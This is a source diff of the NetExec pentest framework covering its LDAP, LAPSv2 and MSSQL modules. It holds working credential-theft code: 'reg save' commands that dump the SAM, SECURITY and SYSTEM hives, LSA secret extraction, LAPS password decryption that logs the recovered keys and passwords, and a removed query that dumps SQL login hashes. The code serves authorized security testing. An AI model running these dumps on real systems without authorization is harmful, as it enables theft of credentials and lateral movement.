self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -659,7 +622,7 @@ class ldap(connection):
|
||||
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
|
||||
for item in resp_parsed:
|
||||
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
|
||||
|
||||
@@ -711,8 +674,7 @@ class ldap(connection):
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
|
||||
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
||||
# A baseObject search returns one entry at most, and AD refuses the paged control on an anonymous rootDSE read
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if self.scope is None else None
|
||||
paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else ""
|
||||
return self.ldap_connection.search(
|
||||
scope=self.scope,
|
||||
searchBase=baseDN,
|
||||
@@ -969,7 +931,8 @@ class ldap(connection):
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
for item in resp_parse:
|
||||
if "dNSHostName" in item: # Get dNSHostName attribute
|
||||
resolve_and_display_hostname(item["dNSHostName"])
|
||||
name = item["dNSHostName"]
|
||||
resolve_and_display_hostname(name)
|
||||
|
||||
# Find all trusted domains
|
||||
self.logger.info("Enumerating Trusted Domains...")
|
||||
@@ -1253,21 +1216,22 @@ class ldap(connection):
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
|
||||
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
|
||||
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
|
||||
self.logger.success(f"Response for object: {entry['objectName']}")
|
||||
for attribute, value in attribute_map.items():
|
||||
if isinstance(value, list) and value:
|
||||
for idx, entry in enumerate(resp_parsed):
|
||||
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
|
||||
idx += 1 # Skip non-entry responses
|
||||
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
||||
for attribute in entry:
|
||||
if isinstance(entry[attribute], list) and entry[attribute]:
|
||||
# Display first item in the same line as attribute
|
||||
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
|
||||
for item in value:
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
||||
for item in entry[attribute]:
|
||||
self.logger.highlight(f"{'':<20} {item}")
|
||||
else:
|
||||
self.logger.highlight(f"{attribute:<20} {value}")
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
||||
|
||||
def find_delegation(self):
|
||||
def printTable(items, header):
|
||||
@@ -1537,12 +1501,12 @@ class ldap(connection):
|
||||
Get the Fine Grained Password Policy/PSOs
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
"""
|
||||
# Convert LDAP time (100ns intervals) to human readable format
|
||||
# Convert LDAP time to human readable format
|
||||
def pso_days(ldap_time):
|
||||
return f"{abs(int(ldap_time)) // 864000000000} days"
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
|
||||
def pso_mins(ldap_time):
|
||||
return f"{abs(int(ldap_time)) // 600000000} minutes"
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
|
||||
# Are there even any FGPPs?
|
||||
self.logger.info("Attempting to enumerate policies...")
|
||||
@@ -1759,7 +1723,6 @@ class ldap(connection):
|
||||
aeskey=self.aesKey,
|
||||
kdc=self.kdcHost,
|
||||
auth_method="auto",
|
||||
ldap_channel_binding=self.cbt_status == "Always"
|
||||
)
|
||||
ad = AD(
|
||||
auth=auth,
|
||||
@@ -1779,7 +1742,7 @@ class ldap(connection):
|
||||
if self.args.kerberos:
|
||||
self.logger.highlight("Using kerberos auth without ccache, getting TGT")
|
||||
auth.get_tgt()
|
||||
if self.use_kcache:
|
||||
if self.args.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
@@ -1798,13 +1761,9 @@ class ldap(connection):
|
||||
exclude_dcs=False,
|
||||
)
|
||||
except Exception as e:
|
||||
if "ldap3-bleeding-edge" in str(e):
|
||||
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
|
||||
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
|
||||
return
|
||||
|
||||
# Collect ADCS data using CertiHound if requested
|
||||
if "adcs" in collect:
|
||||
|
||||
+12
-19
@@ -7,7 +7,7 @@ from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
|
||||
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -169,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server, rpc_host=None, rpc_name=None, aesKey=""):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -182,11 +182,8 @@ class LAPSv2Extract:
|
||||
self.domain = domain
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.aesKey = aesKey
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.rpc_host = rpc_host or (dns_server if dns_server else domain)
|
||||
self.rpc_name = rpc_name or domain
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -218,30 +215,29 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.rpc_host, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteName(self.rpc_name)
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
if self.do_kerberos:
|
||||
self.logger.info("Connecting using kerberos")
|
||||
rpc_transport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
if self.do_kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
self.logger.info(f"Connecting to {string_binding}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e}")
|
||||
return None
|
||||
return False
|
||||
self.logger.info("Connected")
|
||||
try:
|
||||
dce.bind(MSRPC_UUID_GKDI)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
return False
|
||||
self.logger.info("Successfully bound")
|
||||
self.logger.info("Calling MS-GKDI GetKey")
|
||||
|
||||
@@ -252,12 +248,15 @@ class LAPSv2Extract:
|
||||
kds_cache[gke["RootKeyId"]] = gke
|
||||
|
||||
kek = compute_kek(gke, key_id)
|
||||
self.logger.info(f"KEK:\t{kek}")
|
||||
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
|
||||
iv, _ = decoder.decode(enc_content_parameter)
|
||||
iv = bytes(iv[0])
|
||||
|
||||
cek = unwrap_cek(kek, bytes(kek_recipient_info["encryptedKey"]))
|
||||
self.logger.info(f"CEK:\t{cek}")
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode("utf-16le"))
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
@@ -326,19 +325,13 @@ def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339,
|
||||
dns_server,
|
||||
self.kdcHost,
|
||||
self.kdcHost,
|
||||
self.aesKey,
|
||||
dns_server
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None
|
||||
if not data:
|
||||
self.logger.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {self.hostname}")
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
|
||||
@@ -10,7 +10,6 @@ def proto_args(parser, parents):
|
||||
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
|
||||
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
|
||||
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
|
||||
@@ -5,7 +5,6 @@ from OpenSSL.SSL import SysCallError
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -19,7 +18,6 @@ class LDAPResolution:
|
||||
target = ""
|
||||
target_domain = ""
|
||||
base_dn = ""
|
||||
machine_name = ""
|
||||
try:
|
||||
ldap_url = f"ldap://{self.host}"
|
||||
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
@@ -62,8 +60,5 @@ class LDAPResolution:
|
||||
else:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger).upper()
|
||||
target_domain = sanitize_dns(target_domain, nxc_logger)
|
||||
target = sanitize_dns(target, nxc_logger)
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain, target
|
||||
return machine_name, target_domain
|
||||
+57
-184
@@ -1,22 +1,18 @@
|
||||
import os
|
||||
import random
|
||||
import contextlib
|
||||
import binascii
|
||||
from termcolor import colored
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from dploot.lib.network.mssql import MSSQLTarget as Target
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
@@ -48,13 +44,6 @@ class mssql(connection):
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.no_ntlm = False
|
||||
self.encryption = None
|
||||
self.edition = ""
|
||||
self.version = ""
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -153,15 +142,10 @@ class mssql(connection):
|
||||
self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
|
||||
return False
|
||||
else:
|
||||
self.remoteName = self.host
|
||||
if challenge.startswith(b"NTLMSSP\x00"):
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.remoteName = sanitize_dns(dns_hostname, self.logger) if self.kerberos else self.host
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -177,6 +161,8 @@ class mssql(connection):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
if not self.kdcHost and self.domain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
@@ -320,7 +306,6 @@ class mssql(connection):
|
||||
self.logger.fail(self.conn.lastError)
|
||||
else:
|
||||
for data in raw_output:
|
||||
self.logger.highlight("--------------------")
|
||||
for key, value in data.items():
|
||||
if key:
|
||||
self.logger.highlight(f"{key}:{value}")
|
||||
@@ -505,65 +490,68 @@ class mssql(connection):
|
||||
return "[" + str(ident).replace("]", "]]") + "]"
|
||||
|
||||
def list_databases(self):
|
||||
query = """
|
||||
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
|
||||
FROM sys.databases d
|
||||
ORDER BY d.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
try:
|
||||
q = (
|
||||
"SELECT d.name AS DatabaseName, "
|
||||
" suser_sname(d.owner_sid) AS Owner "
|
||||
"FROM sys.databases d "
|
||||
"ORDER BY d.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(q) or []
|
||||
if not rows:
|
||||
self.logger.display("No databases returned")
|
||||
return
|
||||
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for row in rows:
|
||||
database_name = row.get("DatabaseName", "")
|
||||
owner = row.get("Owner", "")
|
||||
self.logger.highlight(f"{database_name:<30} {owner:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
self.logger.display("Enumerated databases")
|
||||
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
|
||||
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
|
||||
for r in rows:
|
||||
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} database(s)")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate databases: {e}")
|
||||
self.logger.debug("list_databases error", exc_info=True)
|
||||
|
||||
def database(self):
|
||||
db_arg = self.args.database
|
||||
|
||||
# nxc --database (no value) -> list
|
||||
if self.args.database is True:
|
||||
if db_arg is True or db_arg is None:
|
||||
self.list_databases()
|
||||
return
|
||||
|
||||
# nxc --database <name> -> tables
|
||||
if isinstance(self.args.database, str):
|
||||
safe = self.args.database.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
|
||||
if isinstance(db_arg, str):
|
||||
try:
|
||||
safe = db_arg.replace("'", "''")
|
||||
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
|
||||
if not exists:
|
||||
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
|
||||
return
|
||||
|
||||
tq = (
|
||||
f"SELECT t.name AS TableName, t.modify_date "
|
||||
f"FROM {self._qname(db_arg)}.sys.tables t "
|
||||
f"ORDER BY t.name;"
|
||||
)
|
||||
rows = self.conn.sql_query(tq) or []
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
|
||||
self.logger.debug("database() error", exc_info=True)
|
||||
return
|
||||
|
||||
query = f"""
|
||||
SELECT t.name AS TableName, t.modify_date
|
||||
FROM {self._qname(self.args.database)}.sys.tables t
|
||||
ORDER BY t.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
|
||||
if not rows:
|
||||
self.logger.display(f"Database [{self.args.database}] has no user tables.")
|
||||
self.logger.display(f"Database [{db_arg}] has no user tables.")
|
||||
return
|
||||
|
||||
self.logger.display(f"Tables in database: {self.args.database}")
|
||||
self.logger.display(f"Tables in database: {db_arg}")
|
||||
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
|
||||
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
|
||||
for row in rows:
|
||||
modify_date = row.get("modify_date", "")
|
||||
if modify_date and hasattr(modify_date, "strftime"):
|
||||
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}")
|
||||
for r in rows:
|
||||
mod = r.get("modify_date", "")
|
||||
if mod and hasattr(mod, "strftime"):
|
||||
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
|
||||
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
|
||||
self.logger.highlight(f"Total: {len(rows)} table(s)")
|
||||
return
|
||||
|
||||
@@ -572,8 +560,7 @@ class mssql(connection):
|
||||
sam_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{sam_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="sam")
|
||||
try:
|
||||
@@ -604,12 +591,11 @@ class mssql(connection):
|
||||
SAM.export(output_filename)
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def lsa(self):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
# del must list C:\windows\temp, which the SQL service account may not be allowed to do; Remove-Item -LiteralPath does not need to
|
||||
clean_command = f"powershell -NoProfile -Command Remove-Item -LiteralPath C:\\windows\\temp\\{security_storename},C:\\windows\\temp\\{system_storename} -Force -ErrorAction SilentlyContinue"
|
||||
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
|
||||
get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
|
||||
output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
try:
|
||||
@@ -627,128 +613,15 @@ class mssql(connection):
|
||||
or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0):
|
||||
self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.")
|
||||
return
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lsa_secret_callback,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
port=self.port,
|
||||
hashes=f":{self.nthash}",
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
use_kcache=self.use_kcache,
|
||||
aesKey=self.aesKey,
|
||||
db_auth=self.args.local_auth,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def db_hash(self):
|
||||
self.logger.display("Dumping local database users' hashes")
|
||||
query = """
|
||||
SELECT
|
||||
sp.name,
|
||||
CASE
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
|
||||
ELSE 'Unknown'
|
||||
END AS hash_type,
|
||||
sl.password_hash
|
||||
FROM sys.server_principals sp
|
||||
INNER JOIN sys.sql_logins sl
|
||||
ON sp.principal_id = sl.principal_id
|
||||
WHERE sp.type = 'S' -- uniquement les logins SQL
|
||||
AND sp.name NOT LIKE '##%'
|
||||
ORDER BY sp.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No logins returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated logins")
|
||||
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
|
||||
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
|
||||
for row in rows:
|
||||
name = row.get("name")
|
||||
hash_type = row.get("hash_type")
|
||||
password_hash = row.get("password_hash")
|
||||
if password_hash != "NULL":
|
||||
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
|
||||
|
||||
def list_backups(self):
|
||||
self.logger.info("Dumping database backups")
|
||||
query = """
|
||||
SELECT
|
||||
bs.database_name,
|
||||
bs.server_name,
|
||||
bmf.physical_device_name AS backup_file_path,
|
||||
CASE
|
||||
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
|
||||
ELSE 'Encrypted'
|
||||
END AS backup_encryption_status,
|
||||
bs.encryptor_type,
|
||||
bs.key_algorithm
|
||||
FROM msdb.dbo.backupset AS bs
|
||||
INNER JOIN msdb.dbo.backupmediafamily AS bmf
|
||||
ON bs.media_set_id = bmf.media_set_id
|
||||
INNER JOIN sys.databases AS d
|
||||
ON bs.database_name = d.name
|
||||
ORDER BY bs.backup_finish_date DESC;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No backups returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated backups")
|
||||
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
|
||||
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
|
||||
for row in rows:
|
||||
database_name = row.get("database_name").strip()
|
||||
is_encrypted = row.get("backup_encryption_status").strip()
|
||||
backup_file_path = row.get("backup_file_path").strip()
|
||||
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
|
||||
@@ -1,7 +1,6 @@
|
||||
import warnings
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning
|
||||
from sqlalchemy.orm import declarative_base
|
||||
@@ -20,8 +19,6 @@ class database(BaseDB):
|
||||
self.HostsTable = None
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -78,32 +75,6 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
